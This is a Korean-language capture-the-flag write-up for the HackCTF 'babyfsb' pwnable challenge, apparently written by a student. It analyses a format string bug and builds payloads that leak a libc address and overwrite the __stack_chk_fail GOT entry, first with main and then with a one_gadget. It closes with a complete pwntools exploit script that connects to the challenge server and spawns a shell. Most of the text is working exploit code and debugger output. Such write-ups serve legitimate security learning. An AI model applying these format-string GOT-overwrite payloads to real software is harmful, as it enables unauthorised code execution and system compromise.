[Pwnable] babyfsb
들어가며
you are sliver
문제에서 fsb
를 다루고 자신감이 생겨서 도전한 문제이다.
색다른 방식으로 libc를 leak함으로써 재미를 느낀 문제이다.
문제해석
gdb-peda$ pd main
Dump of assembler code for function main:
...
0x00000000004006e5 <+63>: lea rax,[rbp-0x40]
0x00000000004006e9 <+67>: mov edx,0x40
0x00000000004006ee <+72>: mov rsi,rax
0x00000000004006f1 <+75>: mov edi,0x0
0x00000000004006f6 <+80>: call 0x400570 <read@plt>
0x00000000004006fb <+85>: lea rax,[rbp-0x40]
0x00000000004006ff <+89>: mov rdi,rax
0x0000000000400702 <+92>: mov eax,0x0
0x0000000000400707 <+97>: call 0x400560 <printf@plt>
0x000000000040070c <+102>: mov eax,0x0
0x0000000000400711 <+107>: mov rcx,QWORD PTR [rbp-0x8]
0x0000000000400715 <+111>: xor rcx,QWORD PTR fs:0x28
0x000000000040071e <+120>: je 0x400725 <main+127>
0x0000000000400720 <+122>: call 0x400550 <__stack_chk_fail@plt>
...
read로 stack에 0x40(64)
만큼 입력받고, rdi인자 하나
를 통해 printf 함수를 호출한다. <- 이때 fsb
가 발생!
그리고, canary
가 걸려있어서 canary 값이 변조된다면 __stack_chk_fail
함수가 호출된다.
printf@got를 변조해봤자, 이후에 printf 함수가 나오지 않아 쓸모가 없다.
그러므로 __stack_chk_fail@got
를 가지고 다음과 같은 값을 얻어낼 것이다.
1. <libc_start_main+240> (main 함수의 ret)
주소 Leak -> libc_base
를 알아낼 수 있음.
2. 동시에 __stack_chk_fail@got
를 main함수로 변조
이렇게 하기 위해선 강제로 canary
값을 변조시켜야 한다.
풀이
일단 you are silver
문제와 비슷하게 offset
을 구해야 한다.
root@goorm:/workspace/ubuntu_1604/hackctf/pwnable/babyfsb(master)# ./babyfsb
hello
AAAAAAAA %6$p
AAAAAAAA 0x4141414141414141
offset
은 6
이며, __stack_chk_fail@got
가 들어가는 offset
을 구해줘야 한다.
%hn
은 %hn
전까지 쓰여진 byte만큼을 해당 포인터에 쓰기
작업을 수행한다.
그러므로, payload를 짜고 그 길이를 확인한 후에 offset
을 구해야 한다.
payload는 다음과 같다.
main = e.symbols['main']
main_low = main & 0xffff
# offset 6
payload = ''
payload += '%{}c'.format(main_low) # duplicate source
payload += '%?$hn' # offset + (len(payload)) / 8
payload += '%??$p' # (libc_start_main+240 - &offset) / 8 + offset
#print(len(payload)) # 16
payload += p64(stack_chk_fail) # duplicate target
payload += "B"*(56-len(payload)) # make stack smash
__stack_chk_fail@got
함수가 나오기 전까지의 길이를 구해야 한다.
여기서는 memory leak
을 위한 %p
가 들어가 있으므로, 그것까지 길이에 넣는다.
총 길이는 16
으로, offset 단위
를 맞춰주기 위해 8
을 나누고 [2], offset(6)
을 더해준다. [8]
다음으로 구해야 할 값은 <libc_start_main+240> 의 offset
이다.
gdb-peda$ x/10gx $rsp
0x7ffe5c8ddbc0: 0x4141414141414141 0x000000000040070a
0x7ffe5c8ddbd0: 0x00007ffe5c8ddbfe 0x0000000000000000
0x7ffe5c8ddbe0: 0x0000000000400730 0x00000000004005b0
0x7ffe5c8ddbf0: 0x00007ffe5c8ddce0 0x3289ac255742dc00
0x7ffe5c8ddc00: 0x0000000000400730 0x00007f805d645830
gdb-peda$ x/gx $rbp+8
0x7ffe5c8ddc08: 0x00007f805d645830
gdb-peda$ x/gx 0x00007f805d645830
0x7f805d645830 <__libc_start_main+240>: 0x31000197f9e8c789
gdb-peda$ p/x ($rbp+8)-$rsp
$1 = 0x48
offset
의 주소로부터 <libc_start_main+240>
를 빼면 0x48(72)
가 나온다.
이를 offset 단위
로 맞추기 위해 8
을 나누고 [9], offset(6)
을 더해준다. [15]
이때, payload는 다음과 같다.
main = e.symbols['main']
main_low = main & 0xffff
# offset 6
payload = ''
payload += '%{}c'.format(main_low) # duplicate source
payload += '%8$hn' # offset + (len(payload)) / 8
payload += '%15$p' # (libc_start_main+240 - &offset) / 8 + offset
#print(len(payload)) # 16
payload += p64(stack_chk_fail) # duplicate target
payload += "B"*(56-len(payload)) # make stack smash
main_low
를 구해준 이유는 __stack_chk_fail
함수가 이전에 call 되지 않았기에,
2byte
만을 변조하면 되기 때문이다.
gdb-peda$ x/i 0x400550
0x400550 <__stack_chk_fail@plt>: jmp QWORD PTR [rip+0x200aca] # 0x601020
gdb-peda$ x/gx 0x601020
0x601020: 0x0000000000400556
gdb-peda$ x/i *main
0x4006a6 <main>: push rbp
<libc_start_main+240>
주소가 leak되고, main함수로 가지는 것을 볼 수 있다.
이제, libc_base를 알았으니 exploit 할 일만 남았다.
방식은 __stack_chk_fail@got
를 oneshot gadget
으로 변조시키는 방법을 택했다.
exploit.py
from pwn import *
#r = process('./babyfsb')
r = remote('ctf.j0n9hyun.xyz', 3032)
e = ELF('./babyfsb')
libc = ELF('./libc.so.6')
main = e.symbols['main']
main_low = main & 0xffff
stack_chk_fail = e.got['__stack_chk_fail']
libc_start_main_offset = libc.symbols['__libc_start_main']
# offset 6
payload = ''
payload += '%{}c'.format(main_low) # duplicate source
payload += '%8$hn' # offset + (len(payload)) / 8
payload += '%15$p' # (libc_start_main+240 - &offset) / 8 + offset
#print(len(payload)) # 16
payload += p64(stack_chk_fail) # duplicate target
payload += "B"*(56-len(payload)) # make stack smash
r.sendlineafter('\n', payload)
r.recvuntil('0x')
leak = int(r.recv(12), 16)
one_gadget = 0x45216
libc_base = (leak - 240) - libc_start_main_offset
one_gadget = libc_base + one_gadget
one_gadget_low = one_gadget & 0xffff
one_gadget_middle = (one_gadget >> 16) & 0xffff
one_gadget_high = (one_gadget >> 32) & 0xffff
low = one_gadget_low
if one_gadget_middle > one_gadget_low:
middle = one_gadget_middle - one_gadget_low
else:
middle = (0x10000 + one_gadget_middle) - one_gadget_low
if one_gadget_high > one_gadget_middle:
high = one_gadget_high - one_gadget_middle
else:
high = (0x10000 + one_gadget_high) - one_gadget_middle
# offset 6
payload = ''
payload += '%{}c'.format(low) # duplicate source 1
payload += '%11$hn' # offset + (len(payload)) / 8
payload += '%{}c'.format(middle) # duplicate source 2
payload += '%12$hn' # offset + (len(payload)) / 8 + 1
payload += '%{}c'.format(high) # duplicate source 3
payload += '%13$hn' # offset + (len(payload)) / 8 + 2
payload += 'A'*(8 - (len(payload) % 8)) # padding
#print(len(payload)) # 40
payload += p64(stack_chk_fail) # duplicate target 1
payload += p64(stack_chk_fail + 2) # duplicate target 2
payload += p64(stack_chk_fail + 4) # duplicate target 3
payload += "B"*(56-len(payload)) # make stack smash
r.sendlineafter('\n', payload)
r.interactive()